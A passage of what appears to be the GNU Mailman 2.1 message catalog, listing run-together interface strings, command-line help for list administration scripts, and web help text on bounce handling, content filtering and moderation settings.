maximum number of notifications.

Use the --byadmin, --byuser, and --unknown flags to also send notifications to
members whose accounts have been disabled for those reasons.  Use --all to
send the notification to all disabled members.

Usage: %(PROGRAM)s [options]

Options:
    -h / --help
        Print this message and exit.

    -o / --byadmin
        Also send notifications to any member disabled by the list
        owner/administrator.

    -m / --byuser
        Also send notifications to any member disabled by themselves.

    -u / --unknown
        Also send notifications to any member disabled for unknown reasons
        (usually a legacy disabled address).

    -b / --notbybounce
        Don't send notifications to members disabled because of bounces (the
        default is to notify bounce disabled members).

    -a / --all
        Send notifications to all disabled members.

    -f / --force
        Send notifications to disabled members even if they're not due a new
        notification yet.

    -l listname
    --listname=listname
        Process only the given list, otherwise do all lists.
Public mailing lists at %(hostname)s:Python PoweredQuarterlyRFC 2369 defines a set of List-* headers that are
                 normally added to every message sent to the list membership.
                 These greatly aid end-users who are using standards compliant
                 mail readers.  They should normally always be enabled.

                 <p>However, not all mail readers are standards compliant yet,
                 and if you have a large number of members who are using
                 non-compliant mail readers, they may be annoyed at these
                 headers.  You should first try to educate your members as to
                 why these headers exist, and how to hide them in their mail
                 clients.  As a last resort you can disable these headers, but
                 this is not recommended (and in fact, your ability to disable
                 these headers may eventually go away).Re-enable mailing list membershipRe-enable membershipRe-generate the Pipermail gzip'd archive flat files.

This script should be run nightly from cron.  When run from the command line,
the following usage is understood:

Usage: %(program)s [-v] [-h] [listnames]

Where:
    --verbose
    -v
        print each file as it's being gzip'd

    --help
    -h
        print this message and exit

    listnames
        Optionally, only compress the .txt files for the named lists.  Without 
        this, all archivable lists are processed.

Re-opening all log filesRe-run as %(MAILMAN_USER)s (or root) with -f flag to fixReason for refusalReason:Rebuild a list's archive.

Use this command to rebuild the archives for a mailing list.  You may want to
do this if you edit some messages in an archive, or remove some messages from
an archive.

Usage: %(PROGRAM)s [options] <listname> [<mbox>]

Where options are:
    -h / --help
        Print this help message and exit.

    -q / --quiet
        Make the archiver output less verbose.

    --wipe
        First wipe out the original archive before regenerating.  You usually
        want to specify this argument unless you're generating the archive in
        chunks.

    -s N
    --start=N
        Start indexing at article N, where article 0 is the first in the mbox.
        Defaults to 0.

    -e M
    --end=M
        End indexing at article M.  This script is not very efficient with
        respect to memory management, and for large archives, it may not be
        possible to index the mbox entirely.  For that reason, you can specify
        the start and end article numbers.

Where <mbox> is the path to a list's complete mbox archive.  Usually this will
be some path in the archives/private directory.  For example:

%% bin/arch mylist archives/private/mylist.mbox/mylist.mbox

<mbox> is optional.  If it is missing, it is calculated.
Receive digests?Received:Recipient filtersRecipient&nbsp;filtersReduce disk space usage for Pipermail archives.

Usage: %(PROGRAM)s [options] file ...

Where options are:
    -h / --help
        Print this help message and exit.

Only use this to 'fix' archive -article database files that have been written
with Mailman 2.1.3 or earlier and have html_body attributes in them.  These
attributes can cause huge amounts of memory bloat and impact performance for
high activity lists, particularly those where large text postings are made to
them.

Example:

%% ls -1 archives/private/*/database/*-article | xargs %(PROGRAM)s

You should run `bin/check_perms -f' after running this script.

You will probably want to delete the -article.bak files created by this script
when you are satisfied with the results.

This script is provided for convenience purposes only.  It isn't supported.
Regexp:RegularRejectRejectsReloading pickled archive stateRemindRemove message attachments that don't have a matching
             content type.  Leave this field blank to skip this filter
             test.Remove message attachments that don't have a matching
             filename extension.  Leave this field blank to skip this filter
             test.Remove message attachments that have a matching content
             type.Remove message attachments that have a matching filename
             extension.Remove the components of a mailing list with impunity - beware!

This removes (almost) all traces of a mailing list.  By default, the lists
archives are not removed, which is very handy for retiring old lists.

Usage:
    rmlist [-a] [-h] listname

Where:
    --archives
    -a
        Remove the list's archives too, or if the list has already been
        deleted, remove any residual archives.

    --help
    -h
        Print this help message and exit.

Removed: %(s)sRemoving %(msg)sRequest to mailing list %(realname)s rejectedRequested topic is not valid: %(topicname)sRequire approvalReset a list's web_page_url attribute to the default setting.

This script is intended to be run as a bin/withlist script, i.e.

% bin/withlist -l -r fix_url listname [options]

Options:
    -u urlhost
    --urlhost=urlhost
        Look up urlhost in the virtual host table and set the web_page_url and
        host_name attributes of the list to the values found.  This
        essentially moves the list from one virtual domain to another.

        Without this option, the default web_page_url and host_name values are
        used.

    -v / --verbose
        Print what the script is doing.

If run standalone, it prints this help text and exits.
Resetting %(n)s BYBOUNCEs disabled addrs with no bounce infoRestarting Mailman's master qrunnerReturn the generated output.Return to the RomanianRun one or more qrunners, once or repeatedly.

Each named runner class is run in round-robin fashion.  In other words, the
first named runner is run to consume all the files currently in its
directory.  When that qrunner is done, the next one is run to consume all the
files in /its/ directory, and so on.  The number of total iterations can be
given on the command line.

Usage: %(PROGRAM)s [options]

Options:

    -r runner[:slice:range]
    --runner=runner[:slice:range]
        Run the named qrunner, which must be one of the strings returned by
        the -l option.  Optional slice:range if given, is used to assign
        multiple qrunner processes to a queue.  range is the total number of
        qrunners for this queue while slice is the number of this qrunner from
        [0..range).

        If using the slice:range form, you better make sure that each qrunner
        for the queue is given the same range value.  If slice:runner is not
        given, then 1:1 is used.

        Multiple -r options may be given, in which case each qrunner will run
        once in round-robin fashion.  The special runner `All' is shorthand
        for a qrunner for each listed by the -l option.

    --once
    -o
        Run each named qrunner exactly once through its main loop.  Otherwise,
        each qrunner runs indefinitely, until the process receives a SIGTERM
        or SIGINT.

    -l/--list
        Shows the available qrunner names and exit.

    -v/--verbose
        Spit out more debugging information to the logs/qrunner log file.

    -s/--subproc
        This should only be used when running qrunner as a subprocess of the
        mailmanctl startup script.  It changes some of the exit-on-error
        behavior to work better with that framework.

    -h/--help
        Print this message and exit.

runner is required unless -l or -h is given, and it must be one of the names
displayed by the -l switch.

Note also that this script should be started up from mailmanctl as a normal
operation.  It is only useful for debugging if it is run separately.
Run this program as root or as the %(name)s user, or use -u.Running %(module)s.%(callable)s()...RussianSatSaving listSearch regular expression requiredSearch...SecondSee Select page to edit:Send "list created" email to list owner?Send goodbye message to members when they are unsubscribed?Send mail to poster when their posting is held for approval?Send monthly password reminders?Send notifications of new subscriptions to the list owner?Send notifications to the list owner?Send password reminders for all lists to all users.

This program scans all mailing lists and collects users and their passwords,
grouped by the list's host_name if mm_cfg.VIRTUAL_HOST_OVERVIEW is true.  Then
one email message is sent to each unique user (per-virtual host) containing
the list passwords and options url for the user.  The password reminder comes
from the mm_cfg.MAILMAN_SITE_LIST, which must exist.

Usage: %(PROGRAM)s [options]

Options:
    -l listname
    --listname=listname
        Send password reminders for the named list only.  If omitted,
        reminders are sent for all lists.  Multiple -l/--listname options are
        allowed.

    -h/--help
        Print this message and exit.
Send password reminders to, eg, "-owner" address instead of
             directly to user.Send unsubscription acknowledgement to the user?Send welcome message to newly subscribed members?Send welcome messages to new subscribees?Sender discarded message via web.Sender is explicitly forbiddenSender&nbsp;filtersSepSeptemberSerbianServer Local TimeSetSet the site password, prompting from the terminal.

The site password can be used in most if not all places that the list
administrator's password can be used, which in turn can be used in most places
that a list users password can be used.

Usage: %(PROGRAM)s [options] [password]

Options:

    -c/--listcreator
        Set the list creator password instead of the site password.  The list
        creator is authorized to create and remove lists, but does not have
        the total power of the site administrator.

    -h/--help
        Print this help message and exit.

If password is not given on the command line, it will be prompted for.
Set this to yes when this list is intended to cascade only
             to other mailing lists.  When set, meta notices like
             confirmations and password reminders will be directed to an
             address derived from the member's address - it will have the
             value of "umbrella_member_suffix" appended to the member's
             account name.Setting host_name to: %(mailhost)sSetting this option causes member email addresses to be
             transformed when they are presented on list web pages (both in
             text and as links), so they're not trivially recognizable as
             email addresses.  The intention is to prevent the addresses
             from being snarfed up by automated web scanners for use by
             spammers.Setting this option instructs Mailman to start a new volume
             with the next digest sent out.Setting web_page_url to: %(web_page_url)sShould Mailman collapse multipart/alternative to its
             first part content?Should Mailman convert <tt>text/html</tt> parts to plain
             text?  This conversion happens after MIME attachments have been
             stripped.Should Mailman filter the content of list traffic according
             to the settings below?Should Mailman notify you, the list owner, when bounces
             cause a member to be unsubscribed?Should Mailman notify you, the list owner, when bounces
             cause a member's subscription to be disabled?Should Mailman perform a <em>catchup</em> on the newsgroup?Should Mailman perform automatic bounce processing?Should Mailman personalize each non-digest delivery?
                 This is often useful for announce-only lists, but <a
                 href="?VARHELP=nondigest/personalize">read the details</a>
                 section for a discussion of important performance
                 issues.Should Mailman send an auto-response to emails sent to the
             -owner address?Should Mailman send an auto-response to emails sent to the
             -request address?  If you choose yes, decide whether you want
             Mailman to discard the original email, or forward it on to the
             system as a normal mail command.Should Mailman send an auto-response to mailing list
             posters?Should Mailman send the next digest right now, if it is not
             empty?Should Mailman send you, the list owner, any bounce messages
             that failed to be detected by the bounce processor?  <em>Yes</em>
             is recommended.Should Mailman start a new digest volume?Should a digest be dispatched daily when the size threshold isn't reached?Should administrator get notices of subscribes and
             unsubscribes?Should any existing <tt>Reply-To:</tt> header found in the
             original message be stripped?  If so, this will be done
             regardless of whether an explict <tt>Reply-To:</tt> header is
             added by Mailman or not.Should messages from non-members, which are automatically
             discarded, be forwarded to the list moderator?Should messages from this mailing list include the
                 <a href="http://www.faqs.org/rfcs/rfc2369.html">RFC 2369</a>
                 (i.e. <tt>List-*</tt>) headers?  <em>Yes</em> is highly
                 recommended.Should new members be quarantined before they
    are allowed to post unmoderated to this list?  Answer <em>Yes</em> to hold
    new member postings for moderator approval by default.Should new posts to the mailing list be sent to the
             newsgroup?Should new posts to the newsgroup be sent to the mailing
             list?Should postings include the <tt>List-Post:</tt> header?Should the list moderators get immediate notice of new
             requests, as well as daily notices about collected ones?Should the topic filter be enabled or disabled?Show member addresses so they're not directly recognizable
             as email addresses?Show the contents of one or more Mailman queue files.

Usage: show_qfiles [options] qfile ...

Options:

    -q / --quiet
        Don't print `helpful' message delimiters.

    -h / --help
        Print this text and exit.

Example: show_qfiles qfiles/shunt/*.pck
Shutting down Mailman's master qrunnerSibling listsSite list is missing: %(sitelistname)sSize:Skipped content of type %(partctype)s
SlovakSlovenianSome unknown error occurred while creating the list.
                Please contact the site administrator for assistance.Spam Filter Regexp:Spam Filter Rule %(i)dSpam&nbsp;filtersSpanish (Spain)Specify the RFC 2307 style hashing scheme for passwords included in the
output.  Use -P to get a list of supported schemes, which are
case-insensitive.Stale pid file removed.Starting Mailman's master qrunner.States table for the finite-states-machine parser:
            0  idle
            1  filename-or-comment
            2  msgid
            3  msgstr
            4  end
        Subject:SubmitSubmit All DataSubmit ChangesSubmit My ChangesSubmit Your ChangesSubscribeSubscribe results pageSubscribe these users now or invite them?Subscribe to list %(listname)sSubscribed: %(member)sSubscribingSubscription RequestsSubscription requestSubscription request confirmedSubscription request succeeded.Subscription&nbsp;rulesSuccessfully Removed:Successfully Unsubscribed:Successfully invited:Successfully subscribed:Suffix for use when this list is an umbrella for other
             lists, according to setting of previous "umbrella_list"
             setting.SunSwedishSynchronize a mailing list's membership with a flat file.

This script is useful if you have a Mailman mailing list and a sendmail
:include: style list of addresses (also as is used in Majordomo).  For every
address in the file that does not appear in the mailing list, the address is
added.  For every address in the mailing list that does not appear in the
file, the address is removed.  Other options control what happens when an
address is added or removed.

Usage: %(PROGRAM)s [options] -f file listname

Where `options' are:

    --no-change
    -n
        Don't actually make the changes.  Instead, print out what would be
        done to the list.

    --welcome-msg[=<yes|no>]
    -w[=<yes|no>]
        Sets whether or not to send the newly added members a welcome
        message, overriding whatever the list's `send_welcome_msg' setting
        is.  With -w=yes or -w, the welcome message is sent.  With -w=no, no
        message is sent.

    --goodbye-msg[=<yes|no>]
    -g[=<yes|no>]
        Sets whether or not to send the goodbye message to removed members,
        overriding whatever the list's `send_goodbye_msg' setting is.  With
        -g=yes or -g, the goodbye message is sent.  With -g=no, no message is
        sent.

    --digest[=<yes|no>]
    -d[=<yes|no>]
        Selects whether to make newly added members receive messages in
        digests.  With -d=yes or -d, they become digest members.  With -d=no
        (or if no -d option given) they are added as regular members.

    --notifyadmin[=<yes|no>]
    -a[=<yes|no>]
        Specifies whether the admin should be notified for each subscription
        or unsubscription.  If you're adding a lot of addresses, you
        definitely want to turn this off!  With -a=yes or -a, the admin is
        notified.  With -a=no, the admin is not notified.  With no -a option,
        the default for the list is used.

    --file <filename | ->
    -f <filename | ->
        This option is required.  It specifies the flat file to synchronize
        against.  Email addresses must appear one per line.  If filename is
        `-' then stdin is used.

    --help
    -h
        Print this message.

    listname
        Required.  This specifies the list to synchronize.
System error, bad content: %(content)sTend to pending moderator requestsText appended to the bottom of every immediately-delivery
             message. Text attached (as a final message) to the bottom of digests. Text attached (as an initial message, before the table of contents) to the top of digests. Text prepended to the top of every immediately-delivery
             message. Text sent to people leaving the list.  If empty, no special
             text will be added to the unsubscribe message.Text to include in any
             <a href="?VARHELP/privacy/sender/member_moderation_action"
             >rejection notice</a> to
             be sent to moderated members who post to this list.Text to include in any rejection notice to be sent to
             non-members who post to this list. This notice can include
             the list's owner address by %%(listowner)s and replaces the
             internally crafted default message.Text%(sz)sThe "host_name" is the preferred name for email to
             mailman-related addresses on this host, and generally should be
             the mail host's exchanger address, if any.  This setting can be
             useful for selecting among alternative names of a host that has
             multiple addresses.The <b>info</b> attribute you saved
contains suspicious HTML that could potentially expose your users to cross-site
scripting attacks.  This change has therefore been rejected.  If you still want
to make these changes, you must have shell access to your Mailman server.
This change can be made with bin/withlist or with bin/config_list by setting
mlist.info.
                        The <em>list administrators</em> are the people who have ultimate control over
all parameters of this mailing list.  They are able to change any list
configuration variable available through these administration web pages.

<p>The <em>list moderators</em> have more limited permissions; they are not
able to change any list configuration variable, but they are allowed to tend
to pending administration requests, including approving or rejecting held
subscription requests, and disposing of held postings.  Of course, the
<em>list administrators</em> can also tend to pending requests.

<p>In order to split the list ownership duties into administrators and
moderators, you must set a separate moderator password in the fields below,
and also provide the email addresses of the list moderators in the
<a href="%(adminurl)s/general">general options section</a>.The <tt>List-Post:</tt> header is one of the headers
             recommended by
             <a href="http://www.faqs.org/rfcs/rfc2369.html">RFC 2369</a>.
             However for some <em>announce-only</em> mailing lists, only a
             very select group of people are allowed to post to the list; the
             general membership is usually not allowed to post.  For lists of
             this nature, the <tt>List-Post:</tt> header is misleading.
             Select <em>No</em> to disable the inclusion of this header. (This
             does not affect the inclusion of the other <tt>List-*:</tt>
             headers.)The Mailman ReplybotThe Week Of Monday %(day)i %(month)s %(year)iThe `join' command is synonymous with `subscribe'.
The `leave' command is synonymous with `unsubscribe'.
The `remove' command is synonymous with `unsubscribe'.
The address requesting to be changed has
                    been subsequently unsubscribed.  This request has been
                    cancelled.The address requesting unsubscription is not
                a member of the mailing list.  Perhaps you have already been
                unsubscribed, e.g. by the list administrator?The attached message has been automatically discarded.The attached message matched the %(listname)s mailing list's content filtering
rules and was prevented from being forwarded on to the list membership.  You
are receiving the only remaining copy of the discarded message.

The attached message was received as a bounce, but either the bounce format
was not recognized, or no member addresses could be extracted from it.  This
mailing list has been configured to send all unrecognized bounce messages to
the list administrator(s).

For more information see:
%(adminurl)s

The capitalization of this name can be changed to make it
             presentable in polite company as a proper noun, or to make an
             acronym part all upper case, etc.  However, the name will be
             advertised as the email address (e.g., in subscribe confirmation
             notices), so it should <em>not</em> be otherwise altered.  (Email
             addresses are not case sensitive, but they are sensitive to
             almost everything else :-)The confirmation email has been sent.The current archiveThe email address you supplied is banned from this
        mailing list.  If you think this restriction is erroneous, please
        contact the list owners at %(listowner)s.The email address you supplied is banned from this mailing list.
If you think this restriction is erroneous, please contact the list
owners at %(listowner)s.The email address you supplied is not valid.  (E.g. it must contain an
`@'.)The following illegal substitution variables were
                found in the <code>%(property)s</code> string:
                <code>%(bad)s</code>
                <p>Your list may not operate properly until you correct this
                problem.The header filter rule pattern
                '%(safepattern)s' is not a legal regular expression.  This
                rule will be ignored.The held message with the Subject:
            header <em>%(subject)s</em> could not be found.  The most likely
            reason for this is that the list moderator has already approved or
            rejected the message.  You were not able to cancel it in
            time.The held message you were referred to has
        already been handled by the list administrator.The hostname of the machine your news server is running on.The list addresses should be written in full mail address
             format (e.g. mailman@example.com). Do not specify this list
             address mutually in the exclude list configuration page of the
             other list, or members of both lists won't get any message.
             Note also that the site administrator may prohibit cross domain
             siblings.The list addresses should be written in full mail address
             format (e.g. mailman@example.com). Note also that the site
             administrator may prohibit cross domain siblings.The list administrator email addresses.  Multiple
             administrator addresses, each on separate line is okay.The list administrator has disabled digest delivery for
            this list, so your delivery option has not been set.  However your
            other options have been set successfully.The list administrator has disabled non-digest delivery
            for this list, so your delivery option has not been set.  However
            your other options have been set successfully.The list administrator may not change the
                    password for a user.The list administrator may not change the
                options for this user's other subscriptions.  However the
                options for this mailing list subscription has been
                changed.The list administrator may not change the
            password for this user's other subscriptions.  However, the
            password for this mailing list has been changed.The list administrator may not change the names
            or addresses for this user's other subscriptions.  However, the
            subscription for this mailing list has been changed.The list administrator may not view the other
            subscriptions for this user.The list moderator email addresses.  Multiple
             moderator addresses, each on separate line is okay.The list password cannot be emptyThe list password cannot be empty<!-- ignore -->The list to include in the output.  If not given, then all mailing lists are
included in the XML output.  Multiple -l flags may be given.The mailing list `%(listname)s' has been created via the through-the-web
interface.  In order to complete the activation of this mailing list, the
proper /etc/aliases (or equivalent) file must be updated.  The program
`newaliases' may also have to be run.

Here are the entries for the /etc/aliases file:
The mailing list `%(listname)s' has been removed via the through-the-web
interface.  In order to complete the de-activation of this mailing list, the
appropriate /etc/aliases (or equivalent) file must be updated.  The program
`newaliases' may also have to be run.

Here are the entries in the /etc/aliases file that should be removed:
The master qrunner lock could not be acquired because it appears as if another
master qrunner is already running.
The master qrunner lock could not be acquired, because it appears as if some
process on some other host may have acquired it.  We can't test for stale
locks across host boundaries, so you'll have to do this manually.  Or, if you
know the lock is stale, re-run mailmanctl with the -s flag.

Lock file: %(LOCKFILE)s
Lock host: %(status)s

Exiting.The master qrunner lock could not be acquired.  It appears as though there is
a stale master qrunner lock.  Try re-running mailmanctl with the -s flag.
The maximum member bounce score before the member's
             subscription is disabled.  This value can be a floating point
             number.The message headers matched a filter ruleThe message's content type was explicitly disallowedThe message's content type was not explicitly allowedThe message's file extension was explicitly disallowedThe message's file extension was not explicitly allowedThe moderation policy of the newsgroup.The name of the Usenet group to gateway to and/or from.The new address is already a member: %(newaddr)sThe new address you requested %(newaddr)s is already a member of the
%(listname)s mailing list, however you have also requested a global change of
address.  Upon confirmation, any other mailing list containing the address
%(safeuser)s will be changed. The next digest will be sent as volume
            %(volume)s, number %(number)sThe number of days after which a member's bounce information
             is discarded, if no new bounces have been received in the
             interim.  This value must be an integer.The number of days between sending the <em>Your Membership
             Is Disabled</em> warnings.  This value must be an integer.The page you saved contains suspicious HTML that could
potentially expose your users to cross-site scripting attacks.  This change
has therefore been rejected.  If you still want to make these changes, you
must have shell access to your Mailman server.
             The public name of this list (make case-changes only).The results of your email command are provided below.
Attached is your original message.
The results of your email commandsThe site administrator at %(hostname)s has changed the password for your
mailing list %(listname)s.  It is now

    %(notifypassword)s

Please be sure to use this for all future list administration.  You may want
to log in now to your list and change the password to something more to your
liking.  Visit your list admin page at

    %(adminurl)s
The subscribers listThe text will be treated as html <em>except</em> that
             newlines will be translated to &lt;br&gt; - so you can use links,
             preformatted text, etc, but don't put in carriage returns except
             where you mean to separate paragraphs.  And review your changes -
             bad html (like some unterminated HTML constructs) can prevent
             display of the entire listinfo page.The topic matcher will scan this many lines of the message
             body looking for topic keyword matches.  Body scanning stops when
             either this many lines have been looked at, or a non-header-like
             body line is encountered.  By setting this value to zero, no body
             lines will be scanned (i.e. only the <code>Keywords:</code> and
             <code>Subject:</code> headers will be scanned).  By setting this
             value to a negative number, then all body lines will be scanned
             until a non-header-like line is encountered.
             The topic pattern '%(safepattern)s' is not a
                legal regular expression.  It will be discarded.The variable `m' is the %(listname)s MailList instanceThere are no pending requests.There are two ownership roles associated with each mailing
             list.  The <em>list administrators</em> are the people who have
             ultimate control over all parameters of this mailing list.  They
             are able to change any list configuration variable available
             through these administration web pages.

             <p>The <em>list moderators</em> have more limited permissions;
             they are not able to change any list configuration variable, but
             they are allowed to tend to pending administration requests,
             including approving or rejecting held subscription requests, and
             disposing of held postings.  Of course, the <em>list
             administrators</em> can also tend to pending requests.

             <p>In order to split the list ownership duties into
             administrators and moderators, you must
             <a href="passwords">set a separate moderator password</a>,
             and also provide the <a href="?VARHELP=general/moderator">email
             addresses of the list moderators</a>.  Note that the field you
             are changing here specifies the list administrators.There are two ownership roles associated with each mailing
             list.  The <em>list administrators</em> are the people who have
             ultimate control over all parameters of this mailing list.  They
             are able to change any list configuration variable available
             through these administration web pages.

             <p>The <em>list moderators</em> have more limited permissions;
             they are not able to change any list configuration variable, but
             they are allowed to tend to pending administration requests,
             including approving or rejecting held subscription requests, and
             disposing of held postings.  Of course, the <em>list
             administrators</em> can also tend to pending requests.

             <p>In order to split the list ownership duties into
             administrators and moderators, you must
             <a href="passwords">set a separate moderator password</a>,
             and also provide the email addresses of the list moderators in
             this section.  Note that the field you are changing here
             specifies the list moderators.There was no digest to send.There were some problems deleting the mailing list
        <b>%(listname)s</b>.  Contact your site administrator at %(sitelist)s
        for details.These are all the natural languages supported by this list.
             Note that the
             <a href="?VARHELP=language/preferred_language">default
             language</a> must be included.These policies control the automatic bounce processing system
            in Mailman.  Here's an overview of how it works.

            <p>When a bounce is received, Mailman tries to extract two pieces
            of information from the message: the address of the member the
            message was intended for, and the severity of the problem causing
            the bounce.  The severity can be either <em>hard</em> or
            <em>soft</em> meaning either a fatal error occurred, or a
            transient error occurred.  When in doubt, a hard severity is used.

            <p>If no member address can be extracted from the bounce, then the
            bounce is usually discarded.  Otherwise, each member is assigned a
            <em>bounce score</em> and every time we encounter a bounce from
            this member we increment the score.  Hard bounces increment by 1
            while soft bounces increment by 0.5.  We only increment the bounce
            score once per day, so even if we receive ten hard bounces from a
            member per day, their score will increase by only 1 for that day.

            <p>When a member's bounce score is greater than the
            <a href="?VARHELP=bounce/bounce_score_threshold">bounce score
            threshold</a>, the subscription is disabled.  Once disabled, the
            member will not receive any postings from the list until their
            membership is explicitly re-enabled (either by the list
            administrator or the user).  However, they will receive occasional
            reminders that their membership has been disabled, and these
            reminders will include information about how to re-enable their
            membership.

            <p>You can control both the
            <a href="?VARHELP=bounce/bounce_you_are_disabled_warnings">number
            of reminders</a> the member will receive and the
            <a href="?VARHELP=bounce/bounce_you_are_disabled_warnings_interval"
            >frequency</a> with which these reminders are sent.

            <p>There is one other important configuration variable; after a
            certain period of time -- during which no bounces from the member
            are received -- the bounce information is
            <a href="?VARHELP=bounce/bounce_info_stale_after">considered
            stale</a> and discarded.  Thus by adjusting this value, and the
            score threshold, you can control how quickly bouncing members are
            disabled.  You should tune both of these to the frequency and
            traffic volume of your list.ThirdThis description is used when the mailing list is listed with
                other mailing lists, or in headers, and so forth.  It should
                be as succinct as you can get it, while still identifying what
                the list is.This is %(also)sa hidden list, which means that the
            list of members is available only to the list administrator.This is %(also)sa private list, which means that the
            list of members is not available to non-members.This is %(also)sa public list, which means that the
            list of members list is available to everyone.This is a closed list, which means your subscription
            will be held for approval.  You will be notified of the list
            moderator's decision by email.This is the default natural language for this mailing list.
             If <a href="?VARHELP=language/available_languages">more than one
             language</a> is supported then users will be able to select their
             own preferences for when they interact with the list.  All other
             interactions will be conducted in the default language.  This
             applies to both web-based and email-based messages, but not to
             email posted by list members.This listThis list does not support digest delivery.This list has no members.This list is restricted; your message was not approved.This list only supports digest delivery.This list only supports digest subscriptions!This page allows you as the list owner, to permanent
    remove this mailing list from the system.  <strong>This action is not
    undoable</strong> so you should undertake it only if you are absolutely
    sure this mailing list has served its purpose and is no longer necessary.

    <p>Note that no warning will be sent to your list members and after this
    action, any subsequent messages sent to the mailing list, or any of its
    administrative addreses will bounce.

    <p>You also have the option of removing the archives for this mailing list
    at this time.  It is almost always recommended that you do
    <strong>not</strong> remove the archives, since they serve as the
    historical record of your mailing list.

    <p>For your safety, you will be asked to reconfirm the list password.
    This section allows you to configure subscription and
            membership exposure policy.  You can also control whether this
            list is public or not.  See also the
            <a href="%(admin)s/archive">Archival Options</a> section for
            separate archive-related privacy settings.This section allows you to configure various anti-spam
            filters posting filters, which can help reduce the amount of spam
            your list members end up receiving.
            This section allows you to configure various filters based on
            the recipient of the message.This setting determines the moderation policy of the
             newsgroup and its interaction with the moderation policy of the
             mailing list.  This only applies to the newsgroup that you are
             gatewaying <em>to</em>, so if you are only gatewaying from
             Usenet, or the newsgroup you are gatewaying to is not moderated,
             set this option to <em>None</em>.

             <p>If the newsgroup is moderated, you can set this mailing list
             up to be the moderation address for the newsgroup.  By selecting
             <em>Moderated</em>, an additional posting hold will be placed in
             the approval process.  All messages posted to the mailing list
             will have to be approved before being sent on to the newsgroup,
             or to the mailing list membership.

             <p><em>Note that if the message has an <tt>Approved</tt> header
             with the list's administrative password in it, this hold test
             will be bypassed, allowing privileged posters to send messages
             directly to the list and the newsgroup.</em>

             <p>Finally, if the newsgroup is moderated, but you want to have
             an open posting policy anyway, you should select <em>Open list,
             moderated group</em>.  The effect of this is to use the normal
             Mailman moderation facilities, but to add an <tt>Approved</tt>
             header to all messages that are gatewayed to Usenet.This text will be prepended to subject lines of messages
             posted to the list, to distinguish mailing list messages in
             mailbox summaries.  Brevity is premium here, it's ok to shorten
             long mailing list names to something more concise, as long as it
             still identifies the mailing list.
             You can also add a sequential number by %%d substitution
             directive. eg.; [listname %%d] -> [listname 123]
                            (listname %%05d) -> (listname 00123)
             This value may be either the name of your news server, or
             optionally of the format name:port, where port is a port number.

             The news server is not part of Mailman proper.  You have to
             already have access to an NNTP server, and that NNTP server must
             recognize the machine this mailing list runs on as a machine
             capable of reading and posting news.This value, if any, will be added to the front of the
             new-subscriber welcome message.  The rest of the welcome message
             already describes the important addresses and URLs for the
             mailing list, so you don't need to include any of that kind of
             stuff here.  This should just contain mission-specific kinds of
             things, like etiquette policies or team orientation, or that kind
             of thing.

             <p>Note that this text will be wrapped, according to the
             following rules:
             <ul><li>Each paragraph is filled so that no line is longer than
                     70 characters.
                 <li>Any line that begins with whitespace is not filled.
                 <li>A blank line separates paragraphs.
             </ul>ThuTo finish creating your mailing list, you must edit your /etc/aliases (or
equivalent) file by adding the following lines, and possibly running the
`newaliases' program:
To unsubscribe from %(realname)s, get a password reminder,
        or change your subscription options %(either)senter your subscription
        email address:
        <p><center> To visit the administrators configuration page for an
        unadvertised list, open a URL similar to this one, but with a '/' and
        the %(extra)slist name appended.  If you have the proper authority,
        you can also <a href="%(creatorurl)s">create a new mailing list</a>.

        <p>General list information can be found at Today's Topics (%(msgcount)d messages)Today's Topics:
Too many recipients to the messageTopic %(i)dTopic filter detailsTopic keywords, one per line, to match against each message.Topic name:Topic specifications require both a name and
                a pattern.  Incomplete topics will be ignored.TopicsTueTurkishTurn this off only if you plan on subscribing people manually
             and don't want them to know that you did so.  This option is most
             useful for transparently migrating lists from some other mailing
             list manager to Mailman.Turn this on if you want password reminders to be sent once
             per month to your members.  Note that members may disable their
             own individual password reminders.UUkrainianUmbrella list settingsUncaught bounce notificationUnexpected argumentsUnix-From line changed: %(lineno)dUnknown language: %(lang)sUnknown list: %(listname)sUnknown virtual host: %(safehostname)sUnlock a locked list, but do not implicitly Save() it.

    This does not get run if the interpreter exits because of a signal, or if
    os._exit() is called.  It will get called if an exception occurs though.
    Unlocking (but not saving) list: %(listname)sUnsubscribeUnsubscribe or edit optionsUnsubscription RequestsUnsubscription requestUnsubscription request confirmedUnsubscription request succeeded.Unsubscription resultsUpdating HTML for article %(seq)sUpdating Mailman 2.0 pending_subscriptions.db databaseUpdating Mailman 2.1.4 pending.pck databaseUpdating Usenet watermarksUpdating index files for archive [%(archive)s]Updating mailing list: %(listname)sUpdating the held requests database.Upgrading from version %(hexlversion)s to %(hextversion)sUsage:Use this option to prohibit posts according to specific
             header values.  The target value is a regular-expression for
             matching against the specified header.  The match is done
             disregarding letter case.  Lines beginning with '#' are ignored
             as comments.

             <p>For example:<pre>to: .*@public.com </pre> says to hold all
             postings with a <em>To:</em> mail header containing '@public.com'
             anywhere among the addresses.

             <p>Note that leading whitespace is trimmed from the regexp.  This
             can be circumvented in a number of ways, e.g. by escaping or
             bracketing it.Use this option to remove each message attachment that
             matches one of these content types.  Each line should contain a
             string naming a MIME <tt>type/subtype</tt>,
             e.g. <tt>image/gif</tt>.  Leave off the subtype to remove all
             parts with a matching major content type, e.g. <tt>image</tt>.

             <p>Blank lines are ignored.

             <p>See also <a href="?VARHELP=contentfilter/pass_mime_types"
             >pass_mime_types</a> for a content type whitelist.Use this option to remove each message attachment that does
             not have a matching content type.  Requirements and formats are
             exactly like <a href="?VARHELP=contentfilter/filter_mime_types"
             >filter_mime_types</a>.

             <p><b>Note:</b> if you add entries to this list but don't add
             <tt>multipart</tt> to this list, any messages with attachments
             will be rejected by the pass filter.User `%(addr)s' removed from list: %(listname)s.User address/nameUser specific options pageUsing Mailman version:ValueVietnameseView or edit the list configuration information.View this page inVisit Subscriber ListVisit Subscriber listVisit the list's admin pageVisit the list's info pageWARNING: could not acquire lock for list: %(listname)sWARNING: directory does not exist: %(d)sWarning!  Deleting empty .pck file: %(pckfile)sWarning!  Not a directory: %(dirpath)sWarning!  You may encounter permission problems.Warning: Warning: Private archive directory is other-executable (o+x).
         This could allow other users on your system to read private archives.
         If you're on a shared multiuser system, you should consult the
         installation manual on how to fix this.Warning: couldn't remove %(src)s -- %(rest)sWe're sorry, but you have already been unsubscribed
        from this mailing list.  To re-subscribe, please visit the
        <a href="%(listinfourl)s">list information page</a>.WedWeeklyWelcome email text fileWelcome to the "%(realname)s" mailing list%(digmode)sWelcome!What steps are required for subscription?<br>When "umbrella_list" is set to indicate that this list has
             other mailing lists as members, then administrative notices like
             confirmations and password reminders need to not be sent to the
             member list addresses, but rather to the owner of those member
             lists.  In that case, the value of this setting is appended to
             the member's account name for such notices.  `-owner' is the
